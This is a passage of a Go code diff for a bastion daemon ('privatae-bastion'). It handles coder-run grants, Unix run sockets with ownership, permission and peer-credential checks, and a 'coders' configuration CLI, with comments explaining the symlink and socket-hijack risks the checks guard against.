if hn, _ := os.Hostname(); terms.Server == "" || terms.Server != hn {
|
||||
refuse(payload.GrantID, fmt.Sprintf("grant is for server '%s', this box is '%s'", terms.Server, hn))
|
||||
return
|
||||
}
|
||||
if self == "" || terms.Subject != self {
|
||||
refuse(payload.GrantID, fmt.Sprintf("grant is for host '%s', not the host that sent it", terms.Subject))
|
||||
return
|
||||
}
|
||||
if prev, held := f.Coder[fmt.Sprint(payload.GrantID)]; !held || prev.Signature != rec.Signature {
|
||||
if approvalRequired(dir) {
|
||||
purpose, perr := purposeForCoderGrant(terms)
|
||||
if perr != nil {
|
||||
refuse(payload.GrantID, "grant refused: "+perr.Error())
|
||||
return
|
||||
}
|
||||
if terms.TTLDays <= 0 {
|
||||
refuse(payload.GrantID, "grant states no duration (ttl_days)")
|
||||
return
|
||||
}
|
||||
if exp, err := time.Parse(time.RFC3339, terms.Expires); err != nil ||
|
||||
exp.After(time.Now().Add(time.Duration(terms.TTLDays+1)*24*time.Hour)) {
|
||||
refuse(payload.GrantID, "grant expiry exceeds the approved duration")
|
||||
return
|
||||
}
|
||||
if _, err := boxConsume(dir, terms.Approval, purpose); err != nil {
|
||||
refuse(payload.GrantID, err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
if f.Coder == nil {
|
||||
f.Coder = map[string]dcnGrantRec{}
|
||||
}
|
||||
f.Coder[fmt.Sprint(payload.GrantID)] = rec
|
||||
if err := dcnSaveFile(dir, f); err != nil {
|
||||
sendMgmt(ws, 'R', []byte("grant persist failed: "+err.Error()+"\n"))
|
||||
sendMgmtExit(ws, 1)
|
||||
return
|
||||
}
|
||||
dcnAudit(dir, "coder_grant_sync", payload.GrantID, "", "installed for "+terms.Subject)
|
||||
b, _ := json.Marshal(map[string]any{"state": "ok", "grant_id": payload.GrantID,
|
||||
"subject": terms.Subject, "engines": terms.Engines, "max": terms.Max, "expires": terms.Expires})
|
||||
sendMgmt(ws, 'O', b)
|
||||
sendMgmtExit(ws, 0)
|
||||
}
|
||||
|
||||
// coderGrantDropLocked removes one coder grant; the caller holds grantsMu.
|
||||
func coderGrantDropLocked(dir string, id int64, why string) (bool, error) {
|
||||
f, err := dcnLoadFile(dir)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
key := strconv.FormatInt(id, 10)
|
||||
if _, ok := f.Coder[key]; !ok {
|
||||
return false, nil
|
||||
}
|
||||
delete(f.Coder, key)
|
||||
if err := dcnSaveFile(dir, f); err != nil {
|
||||
return true, err
|
||||
}
|
||||
dcnAudit(dir, "coder_grant_drop", id, "", why)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// handleCoderGrantDrop — the host revoked a coder grant: forget it here, now.
|
||||
// A tighten needs no verification: it can only remove reach.
|
||||
func handleCoderGrantDrop(ws *websocket.Conn, dir string, args []string) {
|
||||
if len(args) < 1 {
|
||||
sendMgmt(ws, 'R', []byte("coder_grant_drop: need <grant_id>\n"))
|
||||
sendMgmtExit(ws, 1)
|
||||
return
|
||||
}
|
||||
id, err := strconv.ParseInt(strings.TrimSpace(args[0]), 10, 64)
|
||||
if err != nil {
|
||||
sendMgmt(ws, 'R', []byte("coder_grant_drop: bad grant_id\n"))
|
||||
sendMgmtExit(ws, 1)
|
||||
return
|
||||
}
|
||||
grantsMu.Lock()
|
||||
present, err := coderGrantDropLocked(dir, id, "host-revoked")
|
||||
grantsMu.Unlock()
|
||||
if err != nil {
|
||||
sendMgmt(ws, 'R', []byte("grant drop failed: "+err.Error()+"\n"))
|
||||
sendMgmtExit(ws, 1)
|
||||
return
|
||||
}
|
||||
b, _ := json.Marshal(map[string]any{"state": "ok", "grant_id": id, "dropped": present})
|
||||
sendMgmt(ws, 'O', b)
|
||||
sendMgmtExit(ws, 0)
|
||||
}
|
||||
|
||||
// coderGrantDropAll removes every coder grant this pairing dir holds (the
|
||||
// owner's `coders drop`). Returns the ids dropped.
|
||||
func coderGrantDropAll(dir, why string) ([]int64, error) {
|
||||
grantsMu.Lock()
|
||||
defer grantsMu.Unlock()
|
||||
f, err := dcnLoadFile(dir)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var ids []int64
|
||||
for k := range f.Coder {
|
||||
if id, err := strconv.ParseInt(k, 10, 64); err == nil {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
}
|
||||
if len(f.Coder) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
f.Coder = nil
|
||||
if err := dcnSaveFile(dir, f); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sort.Slice(ids, func(i, j int) bool { return ids[i] < ids[j] })
|
||||
for _, id := range ids {
|
||||
dcnAudit(dir, "coder_grant_drop", id, "", why)
|
||||
}
|
||||
return ids, nil
|
||||
}
|
||||
|
||||
// heldCoderGrants is what the enforcing report tells the host this pairing
|
||||
// holds: {grant_id, signature}, so it can re-sync what is missing or stale.
|
||||
func heldCoderGrants(dir string) []map[string]any {
|
||||
out := []map[string]any{}
|
||||
if dir == "" {
|
||||
return out
|
||||
}
|
||||
f, err := dcnLoadFile(dir)
|
||||
if err != nil {
|
||||
return out
|
||||
}
|
||||
ids := make([]int64, 0, len(f.Coder))
|
||||
for k := range f.Coder {
|
||||
if id, err := strconv.ParseInt(k, 10, 64); err == nil {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
}
|
||||
sort.Slice(ids, func(i, j int) bool { return ids[i] < ids[j] })
|
||||
for _, id := range ids {
|
||||
out = append(out, map[string]any{"grant_id": id, "signature": f.Coder[strconv.FormatInt(id, 10)].Signature})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// maybeReconcileCoderGrants: the heartbeat reply may carry
|
||||
// {"coder_grants": {"grants": [{grant_id, signature}]}}. Held but unlisted on
|
||||
// TWO consecutive replies → a revoke this box missed → dropped. ABSENT field →
|
||||
// no instruction (never "drop all"). The pattern of maybeReconcileReach.
|
||||
func maybeReconcileCoderGrants(heartbeatResponse []byte, dir string) []int64 {
|
||||
if dir == "" {
|
||||
return nil
|
||||
}
|
||||
var hb struct {
|
||||
CoderGrants *struct {
|
||||
Grants []struct {
|
||||
GrantID int64 `json:"grant_id"`
|
||||
} `json:"grants"`
|
||||
} `json:"coder_grants"`
|
||||
}
|
||||
if json.Unmarshal(heartbeatResponse, &hb) != nil || hb.CoderGrants == nil {
|
||||
return nil
|
||||
}
|
||||
expected := map[string]bool{}
|
||||
for _, g := range hb.CoderGrants.Grants {
|
||||
if g.GrantID > 0 {
|
||||
expected[strconv.FormatInt(g.GrantID, 10)] = true
|
||||
}
|
||||
}
|
||||
grantsMu.Lock()
|
||||
defer grantsMu.Unlock()
|
||||
f, err := dcnLoadFile(dir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var dropped []int64
|
||||
for key := range f.Coder {
|
||||
ukey := "coder:" + key
|
||||
if expected[key] {
|
||||
clearUnlisted(dir, ukey)
|
||||
continue
|
||||
}
|
||||
if bumpUnlisted(dir, ukey) < dropAfterUnlisted {
|
||||
continue
|
||||
}
|
||||
if id, err := strconv.ParseInt(key, 10, 64); err == nil {
|
||||
if ok, err := coderGrantDropLocked(dir, id, "reconcile: not granted by host"); err == nil && ok {
|
||||
dropped = append(dropped, id)
|
||||
}
|
||||
}
|
||||
clearUnlisted(dir, ukey)
|
||||
}
|
||||
sort.Slice(dropped, func(i, j int) bool { return dropped[i] < dropped[j] })
|
||||
return dropped
|
||||
}
|
||||
@@ -0,0 +1,351 @@
|
||||
package main
|
||||
|
||||
// coder_socket.go — how a Host on THIS machine reaches a coder run.
|
||||
//
|
||||
// A pairing with transport "unix" (pair_unix.go) has no tunnel, so a run it
|
||||
// owns is served as <runs_dir>/<run_id>.sock in place of a tunnel port
|
||||
// (coder_forward.go). The walls are the forward's. The socket exists only in
|
||||
// the owning pairing's runs directory and only while the run is up. Every
|
||||
// accepted connection is checked again: mode:coder still allowed, the run
|
||||
// still this pairing's, not past its deadline, not stopped by the watchdog.
|
||||
// The splice pins the run's control.sock inode and checks that the far end is
|
||||
// the engine's uid (spliceUnix). The run's control cap is enforced by the run
|
||||
// itself. The file is 0660, group privatae-host when that group exists (the
|
||||
// Host's container is given that group), else root, and the log says why.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// coderSocketGroup is the group the Host's container is given at install.
|
||||
const coderSocketGroup = "privatae-host"
|
||||
|
||||
type coderRunSock struct {
|
||||
owner string
|
||||
path string // what the Host is told: <runs_dir>/<run_id>.sock
|
||||
file string // the same file by its real path, which is what is removed
|
||||
ln net.Listener
|
||||
}
|
||||
|
||||
var (
|
||||
coderSockMu sync.Mutex
|
||||
coderSocks = map[string]*coderRunSock{} // run_id -> its live socket
|
||||
coderSockDirs = map[string]string{} // pairing -> its runs dir, while its lanes run here
|
||||
coderSockLanes = map[string]coderLane{} // pairing -> its lane: who may connect (coderPeerRefusal)
|
||||
coderSockLastNote string
|
||||
|
||||
// The seams: how the group is found and how the socket is handed to it.
|
||||
coderLookupGroup = func(name string) (int, error) {
|
||||
g, err := user.LookupGroup(name)
|
||||
if err != nil {
|
||||
return -1, err
|
||||
}
|
||||
return strconv.Atoi(g.Gid)
|
||||
}
|
||||
// Lchown: a link is never followed (coderPrepareRunsDir is the wall).
|
||||
coderSockChown = os.Lchown
|
||||
)
|
||||
|
||||
// coderSocketRefusal is the per-connection wall: "" to splice, else why not.
|
||||
func coderSocketRefusal(self string, rec *coderRecord, now time.Time) string {
|
||||
if why := capsAllow(self, coderGateOp); why != "" {
|
||||
return why
|
||||
}
|
||||
if rec == nil {
|
||||
return "no such run"
|
||||
}
|
||||
if rec.Owner != self {
|
||||
return "the run belongs to another host"
|
||||
}
|
||||
if rec.StoppedBy != "" {
|
||||
return "the run was stopped to protect this machine"
|
||||
}
|
||||
if dl, err := time.Parse(time.RFC3339, rec.Deadline); err != nil || now.After(dl) {
|
||||
return "the run is past its deadline"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// coderSocketGroupID is the group a run socket is given, and when it is root
|
||||
// because the group does not exist, the reason.
|
||||
func coderSocketGroupID() (int, string) {
|
||||
gid, err := coderLookupGroup(coderSocketGroup)
|
||||
if err != nil || gid < 0 {
|
||||
return 0, "group " + coderSocketGroup + " does not exist on this machine, so run sockets are root:root 0660 " +
|
||||
"and only root reaches them (create the group and give it to the Host's container)"
|
||||
}
|
||||
return gid, ""
|
||||
}
|
||||
|
||||
// coderPrepareRunsDir makes sure dir is a directory only root can change,
|
||||
// and returns its real path (its parent's links resolved), which every file
|
||||
// operation on a run socket then uses. It creates dir itself (0750, root and
|
||||
// the socket group) but never its parent: the shared directory is the Host
|
||||
// install's.
|
||||
//
|
||||
// WHY. A run socket is chmod-ed and chown-ed by its path, and both follow a
|
||||
// symlink. The Host names runs_dir and can write the shared directory, so a
|
||||
// runs directory it could change would let it swap a fresh socket for a link
|
||||
// to any file on this machine between bind and chmod, and that file would
|
||||
// become 0660 and the Host group's. So dir must be a real directory owned by
|
||||
// root that nobody else may write, and every directory above it must be
|
||||
// root's and either writable by nobody else or sticky (the shared directory
|
||||
// is 1770), so nobody else can move dir and put their own in its place.
|
||||
func coderPrepareRunsDir(dir string) (string, error) {
|
||||
if !cleanAbsSocketPath(dir) {
|
||||
return "", fmt.Errorf("runs directory %q is not an absolute, clean path", dir)
|
||||
}
|
||||
parent, err := filepath.EvalSymlinks(filepath.Dir(dir))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("runs directory %s: %w (the Host's install creates %s)", dir, err, filepath.Dir(dir))
|
||||
}
|
||||
for d := parent; ; d = filepath.Dir(d) {
|
||||
if why := coderDirRefusal(d, true); why != "" {
|
||||
return "", fmt.Errorf("runs directory %s: %s, so someone else could put another directory in its place; "+
|
||||
"refusing to put run sockets there", dir, why)
|
||||
}
|
||||
if d == filepath.Dir(d) {
|
||||
break
|
||||
}
|
||||
}
|
||||
rdir := filepath.Join(parent, filepath.Base(dir))
|
||||
if _, err := os.Lstat(rdir); os.IsNotExist(err) {
|
||||
if err := os.Mkdir(rdir, 0o750); err != nil {
|
||||
return "", fmt.Errorf("runs directory %s: %w", dir, err)
|
||||
}
|
||||
gid, _ := coderSocketGroupID()
|
||||
_ = os.Chmod(rdir, 0o750)
|
||||
_ = coderSockChown(rdir, 0, gid)
|
||||
}
|
||||
if why := coderDirRefusal(rdir, false); why != "" {
|
||||
return "", fmt.Errorf("runs directory %s: %s; refusing to put run sockets there", dir, why)
|
||||
}
|
||||
return rdir, nil
|
||||
}
|
||||
|
||||
// coderDirRefusal is "" when only root (or this bastion's own user) can
|
||||
// change what is in d: a real directory (Lstat, a link is never followed)
|
||||
// owned by one of them and writable by nobody else, or, when stickyOK, sticky.
|
||||
func coderDirRefusal(d string, stickyOK bool) string {
|
||||
fi, err := os.Lstat(d)
|
||||
if err != nil {
|
||||
return err.Error()
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
return d + " is not a directory (a link is never followed)"
|
||||
}
|
||||
if uid, ok := coderFileOwner(fi); !ok || (uid != 0 && uid != os.Geteuid()) {
|
||||
return d + " is not root's"
|
||||
}
|
||||
if fi.Mode().Perm()&0o022 != 0 && (!stickyOK || fi.Mode()&os.ModeSticky == 0) {
|
||||
return d + " is writable by others"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// coderOpenRunSocket opens run runID's socket in pairing self's runs
|
||||
// directory, or returns the one already open. ("", nil) when self has no runs
|
||||
// directory in this daemon: a platform pairing, which uses a tunnel port.
|
||||
func coderOpenRunSocket(self, runID string) (string, error) {
|
||||
coderSockMu.Lock()
|
||||
defer coderSockMu.Unlock()
|
||||
if s, ok := coderSocks[runID]; ok {
|
||||
if s.owner == self {
|
||||
return s.path, nil
|
||||
}
|
||||
return "", errors.New("that run's socket belongs to another host")
|
||||
}
|
||||
dir, ok := coderSockDirs[self]
|
||||
if !ok {
|
||||
return "", nil
|
||||
}
|
||||
if !coderRunIDRe.MatchString(runID) {
|
||||
return "", errors.New("bad run_id")
|
||||
}
|
||||
// Read again here, under coderSockMu: the reconcile loop opens from a
|
||||
// snapshot, and a run-down (which removes the record before it closes
|
||||
// the socket) or the watchdog's stop may have come between.
|
||||
if rec, err := loadCoderRecord(runID); err != nil || rec.Owner != self || rec.StoppedBy != "" {
|
||||
return "", errors.New("no run " + runID + " of this host is up")
|
||||
}
|
||||
rdir, err := coderPrepareRunsDir(dir)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
name := runID + ".sock"
|
||||
p := filepath.Join(dir, name)
|
||||
f := filepath.Join(rdir, name)
|
||||
_ = os.Remove(f) // one a previous daemon left; nobody listens on it
|
||||
ln, err := coderListenUnix(rdir, name)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ul, ok := ln.(*net.UnixListener); ok {
|
||||
// Bound through /proc/self/fd, so an unlink on close would name a
|
||||
// directory fd that is long closed. coderCloseRunSocket removes f.
|
||||
ul.SetUnlinkOnClose(false)
|
||||
}
|
||||
gid, note := coderSocketGroupID()
|
||||
if err := os.Chmod(f, 0o660); err != nil {
|
||||
_ = ln.Close()
|
||||
_ = os.Remove(f)
|
||||
return "", err
|
||||
}
|
||||
if err := coderSockChown(f, 0, gid); err != nil {
|
||||
_ = ln.Close()
|
||||
_ = os.Remove(f)
|
||||
return "", err
|
||||
}
|
||||
if note != coderSockLastNote {
|
||||
if note != "" {
|
||||
fmt.Printf("[%s] coder sockets: %s\n", self, note)
|
||||
}
|
||||
coderSockLastNote = note
|
||||
}
|
||||
coderSocks[runID] = &coderRunSock{owner: self, path: p, file: f, ln: ln}
|
||||
go coderServeRunSocket(self, runID, ln)
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// coderServeRunSocket accepts on one run's socket and splices each connection
|
||||
// that passes the wall to the run's control.sock.
|
||||
func coderServeRunSocket(self, runID string, ln net.Listener) {
|
||||
lastWhy := ""
|
||||
for {
|
||||
in, err := ln.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
rec, _ := loadCoderRecord(runID)
|
||||
why := coderSocketRefusal(self, rec, coderNow())
|
||||
if why == "" {
|
||||
why = coderPeerRefusal(self, in)
|
||||
}
|
||||
if why != "" {
|
||||
_ = in.Close()
|
||||
if why != lastWhy {
|
||||
fmt.Printf("[%s] coder socket %s: %s\n", self, runID, why)
|
||||
lastWhy = why
|
||||
}
|
||||
continue
|
||||
}
|
||||
R, err := coderRunDir(runID)
|
||||
if err != nil {
|
||||
_ = in.Close()
|
||||
continue
|
||||
}
|
||||
go spliceUnix(in, filepath.Join(R, "ctl", coderControlSock), rec.UID)
|
||||
}
|
||||
}
|
||||
|
||||
// coderCloseRunSocket stops serving one run's socket and removes the file.
|
||||
// Called at run-down (coderTeardown), by the watchdog's stop, and when the
|
||||
// record goes or its pairing's lanes stop. A no-op when none is open here.
|
||||
func coderCloseRunSocket(runID string) {
|
||||
coderSockMu.Lock()
|
||||
s, ok := coderSocks[runID]
|
||||
delete(coderSocks, runID)
|
||||
coderSockMu.Unlock()
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
_ = s.ln.Close()
|
||||
_ = os.Remove(s.file)
|
||||
}
|
||||
|
||||
// startCoderSockets registers pairing self's runs directory, so a run-up for
|
||||
// it opens the run's socket at once, and keeps one socket per run self owns:
|
||||
// re-read from the records every serviceForwardPoll, which brings sockets back
|
||||
// after a daemon restart and takes away those whose record went (a `coders
|
||||
// drop` in another process). When ctx ends every socket of self is closed.
|
||||
func startCoderSockets(ctx context.Context, self, runsDir string) {
|
||||
coderSockMu.Lock()
|
||||
coderSockDirs[self] = runsDir
|
||||
coderSockMu.Unlock()
|
||||
go func() {
|
||||
defer func() {
|
||||
coderSockMu.Lock()
|
||||
if coderSockDirs[self] == runsDir {
|
||||
delete(coderSockDirs, self)
|
||||
}
|
||||
var mine []string
|
||||
for id, s := range coderSocks {
|
||||
if s.owner == self {
|
||||
mine = append(mine, id)
|
||||
}
|
||||
}
|
||||
coderSockMu.Unlock()
|
||||
for _, id := range mine {
|
||||
coderCloseRunSocket(id)
|
||||
}
|
||||
}()
|
||||
coderReconcileSockets(self)
|
||||
t := time.NewTicker(serviceForwardPoll)
|
||||
defer t.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-t.C:
|
||||
coderReconcileSockets(self)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// coderReconcileSockets makes pairing self's open sockets match its records:
|
||||
// one per run it owns that the watchdog has not stopped.
|
||||
func coderReconcileSockets(self string) {
|
||||
want := map[string]bool{}
|
||||
for _, r := range loadCoderRecords() {
|
||||
if r.Owner == self && r.StoppedBy == "" {
|
||||
want[r.RunID] = true
|
||||
}
|
||||
}
|
||||
coderSockMu.Lock()
|
||||
var drop []string
|
||||
for id, s := range coderSocks {
|
||||
if s.owner == self && !want[id] {
|
||||
drop = append(drop, id)
|
||||
}
|
||||
}
|
||||
coderSockMu.Unlock()
|
||||
for _, id := range drop {
|
||||
coderCloseRunSocket(id)
|
||||
}
|
||||
for id := range want {
|
||||
_, _ = coderOpenRunSocket(self, id) // a failure is retried next poll
|
||||
}
|
||||
}
|
||||
|
||||
// coderLane is pairing's lane as a run socket checks it: the lane socket's
|
||||
// path, and the dial and mutual TLS its lanes use (unixLaneDialer), so the
|
||||
// check can make the process on that path prove it is the pairing's Host.
|
||||
type coderLane struct {
|
||||
path string
|
||||
dial func(ctx context.Context) (net.Conn, error)
|
||||
tls *tls.Config
|
||||
}
|
||||
|
||||
// setCoderSockLane records the lane of pairing self: a run socket serves only
|
||||
// a process of the uid that serves it (coderPeerRefusal). An empty
|
||||
// laneSocket forgets it, and then nothing is served.
|
||||
func setCoderSockLane(self, laneSocket string, dial func(ctx context.Context) (net.Conn, error), laneTLS *tls.Config) {
|
||||
coderSockMu.Lock()
|
||||
defer coderSockMu.Unlock()
|
||||
if laneSocket == "" {
|
||||
delete(coderSockLanes, self)
|
||||
return
|
||||
}
|
||||
coderSockLanes[self] = coderLane{path: laneSocket, dial: dial, tls: laneTLS}
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"net"
|
||||
"os"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
// coderLaneProbeTimeout bounds the lane handshake one run socket connection
|
||||
// waits on. The lane door is on this machine and answers in milliseconds.
|
||||
const coderLaneProbeTimeout = 3 * time.Second
|
||||
|
||||
// coderPeerRefusal is the run socket's second wall: WHO connected. A run
|
||||
// socket is served to the group every Host on this machine is in, so the
|
||||
// pairing check alone (coderSocketRefusal) would let Host B reach Host A's run
|
||||
// on a machine paired with both. The process that connects must have the uid
|
||||
// of the process serving the pairing's lane, read on every connection because
|
||||
// the Host re-creates its lane socket when it restarts:
|
||||
//
|
||||
// - the kernel's record of who connected (SO_PEERCRED, servicePeerUID) must
|
||||
// be the owner of the lane socket (Lstat, never followed), which refuses
|
||||
// another uid at once;
|
||||
// - and the process listening on the lane socket must prove it is the
|
||||
// pairing's Host: the lanes' own mutual TLS handshake (the Host's pinned
|
||||
// CA, the pairing's host name) must complete, and the kernel's record of
|
||||
// who listens there must be that same uid.
|
||||
//
|
||||
// WHY the handshake. The shared directory is group-writable (1770), so while
|
||||
// Host A is down or restarting and its lane socket is gone, Host B can bind a
|
||||
// socket of its own at that path. Its owner is then B, and B would pass the
|
||||
// first check; it cannot pass the handshake, which needs A's lane key.
|
||||
//
|
||||
// The uid is the whole of what this tells apart: two Hosts that run as the
|
||||
// same uid are the same process here (each one's own bind-mounted shared
|
||||
// directory is what keeps them apart). No lane registered refuses: there is
|
||||
// nothing to compare against.
|
||||
func coderPeerRefusal(self string, c net.Conn) string {
|
||||
coderSockMu.Lock()
|
||||
lane, ok := coderSockLanes[self]
|
||||
coderSockMu.Unlock()
|
||||
if !ok || lane.path == "" || lane.dial == nil || lane.tls == nil {
|
||||
return "no lane socket is known for this pairing"
|
||||
}
|
||||
fi, err := os.Lstat(lane.path)
|
||||
if err != nil || fi.Mode()&os.ModeSocket == 0 {
|
||||
return "the pairing's lane socket is not there"
|
||||
}
|
||||
st, ok := fi.Sys().(*syscall.Stat_t)
|
||||
if !ok {
|
||||
return "the pairing's lane socket's owner could not be read"
|
||||
}
|
||||
uid, err := servicePeerUID(c)
|
||||
if err != nil {
|
||||
return "who connected could not be read"
|
||||
}
|
||||
if uid != st.Uid {
|
||||
return "the process that connected is not the one serving this pairing's lane"
|
||||
}
|
||||
served, err := coderLaneServerUID(lane)
|
||||
if err != nil {
|
||||
return "the pairing's lane socket is not served by the pairing's Host"
|
||||
}
|
||||
if served != uid {
|
||||
return "the process that connected is not the one serving this pairing's lane"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// coderLaneServerUID dials the pairing's lane socket the way its lanes do,
|
||||
// completes the mutual TLS handshake (so the listener holds the pairing's
|
||||
// Host's lane key), and returns the uid the kernel recorded for that listener.
|
||||
func coderLaneServerUID(lane coderLane) (uint32, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), coderLaneProbeTimeout)
|
||||
defer cancel()
|
||||
raw, err := lane.dial(ctx)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer raw.Close()
|
||||
uid, err := servicePeerUID(raw)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
if err := tls.Client(raw, lane.tls.Clone()).HandshakeContext(ctx); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return uid, nil
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
//go:build !linux
|
||||
|
||||
package main
|
||||
|
||||
import "net"
|
||||
|
||||
// coderPeerRefusal: coder runs are Linux only (coderHostReady), so no run
|
||||
// socket is ever served here; any connection is refused.
|
||||
func coderPeerRefusal(self string, c net.Conn) string {
|
||||
return "coder run sockets are served on Linux only"
|
||||
}
|
||||
+1994
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,321 @@
|
||||
package main
|
||||
|
||||
// coders_cli.go — `privatae-bastion coders ...`: the owner sizes this machine
|
||||
// for coder runs (coders.go). Machine-wide, stored in <configDir>/coders/config.json.
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const codersUsage = `usage:
|
||||
privatae-bastion coders set [--max N] [--mem MB] [--cpus F] [--engines a,b|all] [--allow-lan host[:port],...]
|
||||
[--image-prefix <registry/path/>|default]
|
||||
privatae-bastion coders on | off
|
||||
privatae-bastion coders drop [--host H]
|
||||
privatae-bastion coders status [--json]`
|
||||
|
||||
func cmdCoders(args []string) error {
|
||||
if len(args) == 0 {
|
||||
return errors.New(codersUsage)
|
||||
}
|
||||
switch args[0] {
|
||||
case "set":
|
||||
return cmdCodersSet(args[1:])
|
||||
case "on":
|
||||
c, err := coderTurnOn(loadCoderConfig())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("coder runs ON: up to %d at a time, %d MiB and %s CPUs each, engines %s\n",
|
||||
c.Max, c.MemPerRun, strconv.FormatFloat(c.CPUsPerRun, 'f', -1, 64), strings.Join(c.Engines, ","))
|
||||
return nil
|
||||
case "off":
|
||||
c := loadCoderConfig()
|
||||
c.Enabled = false
|
||||
if err := saveCoderConfig(c); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println("coder runs OFF: no new run starts here; runs already going continue until they are stopped or reaped")
|
||||
return nil
|
||||
case "drop":
|
||||
host, rest := takeHostFlag(args[1:])
|
||||
if len(rest) != 0 {
|
||||
return errors.New(codersUsage)
|
||||
}
|
||||
return cmdCodersDrop(host)
|
||||
case "status":
|
||||
asJSON := len(args) > 1 && args[1] == "--json"
|
||||
return cmdCodersStatus(asJSON)
|
||||
}
|
||||
return errors.New(codersUsage)
|
||||
}
|
||||
|
||||
// coderApplySet parses `coders set` flags onto c. Bounds: max 1..100, mem
|
||||
// 512..65536, cpus 0.25..NumCPU, engines a subset of the coding engines.
|
||||
func coderApplySet(c coderConfig, args []string, numCPU int) (coderConfig, error) {
|
||||
if len(args) == 0 {
|
||||
return c, errors.New(codersUsage)
|
||||
}
|
||||
for i := 0; i < len(args); i++ {
|
||||
flag := args[i]
|
||||
if i+1 >= len(args) {
|
||||
return c, fmt.Errorf("%s needs a value", flag)
|
||||
}
|
||||
v := args[i+1]
|
||||
i++
|
||||
switch flag {
|
||||
case "--max":
|
||||
n, err := strconv.Atoi(v)
|
||||
if err != nil || n < 1 || n > 100 {
|
||||
return c, errors.New("--max must be 1-100")
|
||||
}
|
||||
c.Max = n
|
||||
case "--mem":
|
||||
n, err := strconv.Atoi(v)
|
||||
if err != nil || n < 512 || n > 65536 {
|
||||
return c, errors.New("--mem must be 512-65536 (MiB per run)")
|
||||
}
|
||||
c.MemPerRun = n
|
||||
case "--cpus":
|
||||
f, err := strconv.ParseFloat(v, 64)
|
||||
if err != nil || f < 0.25 || f > float64(numCPU) {
|
||||
return c, fmt.Errorf("--cpus must be 0.25-%d", numCPU)
|
||||
}
|
||||
c.CPUsPerRun = f
|
||||
case "--engines":
|
||||
if v == "all" {
|
||||
c.Engines = append([]string(nil), coderEngines...)
|
||||
break
|
||||
}
|
||||
var eng []string
|
||||
for _, e := range strings.Split(v, ",") {
|
||||
e = strings.TrimSpace(e)
|
||||
if e == "" {
|
||||
continue
|
||||
}
|
||||
if !isCoderEngine(e) {
|
||||
return c, fmt.Errorf("--engines: %q is not a coding engine (%s)", e, strings.Join(coderEngines, ", "))
|
||||
}
|
||||
if !containsStr(eng, e) {
|
||||
eng = append(eng, e)
|
||||
}
|
||||
}
|
||||
if len(eng) == 0 {
|
||||
return c, errors.New("--engines names no engine")
|
||||
}
|
||||
c.Engines = eng
|
||||
case "--allow-lan":
|
||||
var allow []string
|
||||
for _, h := range strings.Split(v, ",") {
|
||||
h = strings.TrimSpace(h)
|
||||
if h == "" {
|
||||
continue
|
||||
}
|
||||
if strings.ContainsAny(h, " /\t") {
|
||||
return c, fmt.Errorf("--allow-lan: %q is not a host[:port]", h)
|
||||
}
|
||||
if hh, p, err := net.SplitHostPort(h); err == nil {
|
||||
if n, err := strconv.Atoi(p); err != nil || n < 1 || n > 65535 || hh == "" {
|
||||
return c, fmt.Errorf("--allow-lan: %q has a bad port", h)
|
||||
}
|
||||
}
|
||||
allow = append(allow, h)
|
||||
}
|
||||
c.AllowLAN = allow
|
||||
case "--image-prefix":
|
||||
// Where run images may come from: <prefix>harness-<engine>@sha256:...
|
||||
// "default" (or the default itself) clears it, so the file holds
|
||||
// only a prefix the owner chose.
|
||||
if v == "default" || v == coderDefaultImagePrefix {
|
||||
c.ImagePrefix = ""
|
||||
break
|
||||
}
|
||||
if why := coderPrefixRefusal(v); why != "" {
|
||||
return c, errors.New(why)
|
||||
}
|
||||
c.ImagePrefix = v
|
||||
default:
|
||||
return c, fmt.Errorf("unknown flag %s\n%s", flag, codersUsage)
|
||||
}
|
||||
}
|
||||
return c, nil
|
||||
}
|
||||
|
||||
func cmdCodersSet(args []string) error {
|
||||
c, err := coderApplySet(loadCoderConfig(), args, runtime.NumCPU())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
